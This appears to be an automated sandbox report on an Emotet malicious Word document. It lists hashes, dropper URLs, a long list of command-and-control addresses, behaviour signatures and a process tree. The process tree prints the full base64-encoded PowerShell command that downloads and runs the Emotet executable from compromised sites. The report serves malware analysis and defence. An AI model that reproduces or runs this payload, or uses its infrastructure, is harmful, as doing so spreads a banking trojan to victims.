emotet | 5b38fc0a82ee2bad1bffc097d51204cfc0a8891028bbe88ccc02e3aeb5bdc701

Analysis

max time kernel
136s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 11:05

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General

Target
emotet_e2_5b38fc0a82ee2bad1bffc097d51204cfc0a8891028bbe88ccc02e3aeb5bdc701_2020-09-22__110328102178._doc.doc
Size 194KB
Sample200922-ebevleprz6
SHA256 5b38fc0a82ee2bad1bffc097d51204cfc0a8891028bbe88ccc02e3aeb5bdc701
MD5 5f9fef9b454b38b77a91ffb30a09f1c8
SHA1 18130b9711696fbeab8242d4c94a33fff23cf737
SHA512 6dc440a14034022849804b7abd515ceb66fd8e18541f39a70a56e8c57879bcab78dfbda8327473bfbd354e69524b7a66e6089b9495a6e37bdac618530158dcae
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://eaglehatch.com/wp-content/TwA6w6/
exe.dropper
https://www.tiendajuanvaldez.com/wp-admin/igkf/
exe.dropper
https://aspeninstitute.es/catalogmap/fAatpjn/
exe.dropper
https://1horse.ir/wp-includes/7Ev/
exe.dropper
https://theshopclubs.com/wp-admin/7/
exe.dropper
https://eliteweb.cl/dev-area/6V/
exe.dropper
https://stockval.com.br/wp-admin/68K36/

Extracted

Family

emotet

24.43.32.186:80
38.111.46.46:8080
134.209.36.254:8080
162.241.242.173:8080
74.120.55.163:80
61.92.17.12:80
219.74.18.66:443
156.155.166.221:80
104.131.44.150:8080
37.139.21.175:8080
94.1.108.190:443
169.239.182.217:8080
220.245.198.194:80
139.99.158.11:443
91.211.88.52:7080
62.75.141.82:80
174.45.13.118:80
137.119.36.33:80
188.219.31.12:80
103.86.49.11:8080
104.131.11.150:443
124.41.215.226:80
78.187.156.31:80
104.32.141.43:80
47.144.21.12:443
93.147.212.206:80
200.123.150.89:443
121.7.127.163:80
200.114.213.233:8080
94.200.114.161:80
24.179.13.119:80
84.39.182.7:80
97.82.79.83:80
87.106.136.232:8080
5.196.74.210:8080
24.43.99.75:80
213.196.135.145:80
94.23.237.171:443
74.134.41.124:80
96.249.236.156:443
95.213.236.64:8080
137.59.187.107:8080
75.139.38.211:80
82.225.49.121:80
123.176.25.234:80
194.187.133.160:443
62.30.7.67:443
109.74.5.95:8080
176.111.60.55:8080
24.137.76.62:80
37.187.72.193:8080
110.145.77.103:80
153.137.36.142:80
1.221.254.82:80
195.7.12.8:80
110.5.16.198:80
185.94.252.104:443
104.236.246.93:8080
78.24.219.147:8080
85.152.162.105:80
85.105.205.77:8080
139.59.60.244:8080
79.137.83.50:443
50.91.114.38:80
172.91.208.86:80
74.219.172.26:80
83.169.36.251:8080
153.232.188.106:80
209.141.54.221:8080
168.235.67.138:7080
139.130.242.43:80
121.124.124.40:7080
89.216.122.92:80
203.153.216.189:7080
187.161.206.24:80
157.245.99.39:8080
195.251.213.56:80
71.72.196.159:80
174.102.48.180:443
181.169.34.190:80
140.186.212.146:80
201.173.217.124:443
42.200.107.142:80
79.98.24.39:8080
5.39.91.110:7080
139.162.108.71:8080
74.208.45.104:8080
61.19.246.238:443
50.35.17.13:80
95.179.229.244:8080
216.139.123.119:80
120.150.60.189:80
219.75.128.166:80
68.188.112.97:80
107.5.122.110:80
87.106.139.101:8080
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	504	2068	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3568-14-0x0000000002280000-0x0000000002290000-memory.dmp	emotet
behavioral2/memory/3568-14-0x0000000002280000-0x0000000002290000-memory.dmp	emotet
behavioral2/memory/3568-13-0x0000000002260000-0x0000000002272000-memory.dmp	emotet
behavioral2/memory/3568-13-0x0000000002260000-0x0000000002272000-memory.dmp	emotet
behavioral2/memory/1904-17-0x00000000006B0000-0x00000000006C2000-memory.dmp	emotet
behavioral2/memory/1904-17-0x00000000006B0000-0x00000000006C2000-memory.dmp	emotet
behavioral2/memory/1904-18-0x0000000000530000-0x0000000000540000-memory.dmp	emotet
behavioral2/memory/1904-18-0x0000000000530000-0x0000000000540000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	504	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3568	Eaw3l8.exe
1904	UserDeviceRegistration.Ngc.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\odbccu32\UserDeviceRegistration.Ngc.exe	Eaw3l8.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
904	WINWORD.EXE
904	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
504	powershell.exe
504	powershell.exe
504	powershell.exe
1904	UserDeviceRegistration.Ngc.exe
1904	UserDeviceRegistration.Ngc.exe
1904	UserDeviceRegistration.Ngc.exe
1904	UserDeviceRegistration.Ngc.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	504	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 504 wrote to memory of 3568	504	powershell.exe	79
PID 504 wrote to memory of 3568	504	powershell.exe	79
PID 504 wrote to memory of 3568	504	powershell.exe	79
PID 3568 wrote to memory of 1904	3568	Eaw3l8.exe	80
PID 3568 wrote to memory of 1904	3568	Eaw3l8.exe	80
PID 3568 wrote to memory of 1904	3568	Eaw3l8.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5b38fc0a82ee2bad1bffc097d51204cfc0a8891028bbe88ccc02e3aeb5bdc701_2020-09-22__110328102178._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABTAGUAZQBiAHgANgB1AD0AKAAoACcATQAnACsAJwBsADIAOAAnACkAKwAoACcAeQAnACsAJwBzADkAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAFIAUAByAG8ARgBpAEwARQBcAGcAWQByADEAagBRAEsAXABrAGMAUQBFAEYAaAA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAHIASQBgAFQAeQBwAGAAUgBvAGAAVABPAGAAQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAxADEALAAgACcAKwAnAHQAJwArACcAbABzACcAKQApADsAJABBAGgAbABhAHQAMQAzACAAPQAgACgAKAAnAEUAYQAnACsAJwB3ACcAKQArACcAMwAnACsAJwBsADgAJwApADsAJABLADUAYgB6AGsAMQBhAD0AKAAnAFYAbwAnACsAJwAxAG0AJwArACgAJwBvAHYAJwArACcAMQAnACkAKQA7ACQAVgBkAHYAYwBtAGcAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBHAHkAcgAxAGoAcQBrAHsAMAB9AEsAYwAnACsAJwBxACcAKwAnAGUAZgBoADUAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABBAGgAbABhAHQAMQAzACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABKAGUAYQBpADkAegBuAD0AKAAnAFgAJwArACcAZgAnACsAKAAnAG8AOQBlAHYAJwArACcAYgAnACkAKQA7ACQASgBtADEAMABlAGkAOQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAQgBjAEwASQBFAE4AdAA7ACQAUQB3AHUAMgBlADAAdAA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGUAYQBnACcAKQArACgAJwBsAGUAaABhAHQAJwArACcAYwAnACkAKwAnAGgAJwArACgAJwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACcAdABlACcAKwAnAG4AJwArACcAdAAnACsAKAAnAC8AVAAnACsAJwB3AEEANgAnACkAKwAoACcAdwAnACsAJwA2AC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAHcAdwB3ACcAKwAnAC4AJwArACcAdABpACcAKQArACcAZQBuACcAKwAoACcAZABhAGoAdQAnACsAJwBhACcAKQArACgAJwBuAHYAJwArACcAYQBsACcAKQArACgAJwBkAGUAegAuACcAKwAnAGMAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvAGkAZwBrACcAKwAnAGYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAYQBzAHAAZQBuACcAKwAnAGkAbgBzACcAKQArACgAJwB0AGkAdAAnACsAJwB1AHQAZQAuACcAKwAnAGUAcwAnACkAKwAoACcALwBjAGEAJwArACcAdABhACcAKQArACgAJwBsACcAKwAnAG8AZwBtAGEAcAAvAGYAQQBhAHQAcABqACcAKwAnAG4ALwAqAGgAdAB0ACcAKwAnAHAAcwA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAMQBoACcAKwAnAG8AJwApACsAKAAnAHIAcwAnACsAJwBlACcAKQArACcALgBpACcAKwAoACcAcgAnACsAJwAvAHcAJwArACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvADcARQB2AC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwBzADoAJwApACsAJwAvACcAKwAoACcALwB0AGgAZQBzAGgAJwArACcAbwBwACcAKwAnAGMAJwApACsAKAAnAGwAdQAnACsAJwBiAHMALgBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpAG4AJwArACcALwAnACsAJwA3ACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAvAC8AZQBsAGkAJwApACsAJwB0AGUAJwArACgAJwB3AGUAYgAnACsAJwAuAGMAJwArACcAbAAvACcAKQArACgAJwBkAGUAJwArACcAdgAtAGEAcgBlAGEALwA2ACcAKwAnAFYAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAvAC8AcwAnACkAKwAoACcAdABvACcAKwAnAGMAJwApACsAKAAnAGsAJwArACcAdgBhACcAKQArACcAbAAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiAHIALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnADYAOABLACcAKQArACgAJwAzACcAKwAnADYALwAnACkAKQAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVADQAMgBoAHYAZwBrAD0AKAAnAE0AJwArACgAJwBoACcAKwAnADkAdAA5AGcAdAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAMAB0ADYAcQA0AHgAIABpAG4AIAAkAFEAdwB1ADIAZQAwAHQAKQB7AHQAcgB5AHsAJABKAG0AMQAwAGUAaQA5AC4AIgBEAG8AdwBgAE4AYABsAG8AYQBkAGYASQBsAEUAIgAoACQAVAAwAHQANgBxADQAeAAsACAAJABWAGQAdgBjAG0AZwBlACkAOwAkAEwAZQBqAHkAbAB5AHAAPQAoACcATQBmACcAKwAoACcAMwAnACsAJwBlAGwAYwAnACkAKwAnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFYAZAB2AGMAbQBnAGUAKQAuACIATABlAG4AYABHAGAAVABoACIAIAAtAGcAZQAgADIANAA2ADkAMAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAGQAdgBjAG0AZwBlACkAOwAkAEwAdQB3ADYAdABsAGcAPQAoACgAJwBIADIAJwArACcAMQAnACkAKwAoACcAMwA1ACcAKwAnADAAJwApACsAJwAyACcAKQA7AGIAcgBlAGEAawA7ACQAWQByAGEAbQBvADAAZQA9ACgAKAAnAEIAJwArACcAMgBwACcAKQArACcAcAAnACsAKAAnAGYAJwArACcAbwBwACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAGcAdAB4ADgAdwA5AD0AKAAnAEIAJwArACgAJwA1AGEAOAAnACsAJwB6ADkAeAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:504
- C:\Users\Admin\Gyr1jqk\Kcqefh5\Eaw3l8.exe
  "C:\Users\Admin\Gyr1jqk\Kcqefh5\Eaw3l8.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\SysWOW64\odbccu32\UserDeviceRegistration.Ngc.exe
    "C:\Windows\SysWOW64\odbccu32\UserDeviceRegistration.Ngc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/504-8-0x000002BF2BD30000-0x000002BF2BD31000-memory.dmp

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memory/504-7-0x00007FFE375E0000-0x00007FFE37FCC000-memory.dmp

Download

memory/504-9-0x000002BF43FA0000-0x000002BF43FA1000-memory.dmp

Download

memory/904-1-0x000002165927F000-0x00000216592EB000-memory.dmp

Download

memory/904-5-0x0000021659531000-0x0000021659536000-memory.dmp

Download

memory/904-6-0x000002165952C000-0x0000021659531000-memory.dmp

Download

memory/904-0-0x00007FFE3F0D0000-0x00007FFE3F796000-memory.dmp

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memory/904-4-0x0000021659531000-0x0000021659536000-memory.dmp

Download

memory/904-3-0x000002165952C000-0x0000021659531000-memory.dmp

Download

memory/904-2-0x000002165927F000-0x00000216592EB000-memory.dmp

Download

memory/1904-18-0x0000000000530000-0x0000000000540000-memory.dmp

Download

memory/1904-17-0x00000000006B0000-0x00000000006C2000-memory.dmp

Download

memory/3568-13-0x0000000002260000-0x0000000002272000-memory.dmp

Download

memory/3568-14-0x0000000002280000-0x0000000002290000-memory.dmp

Download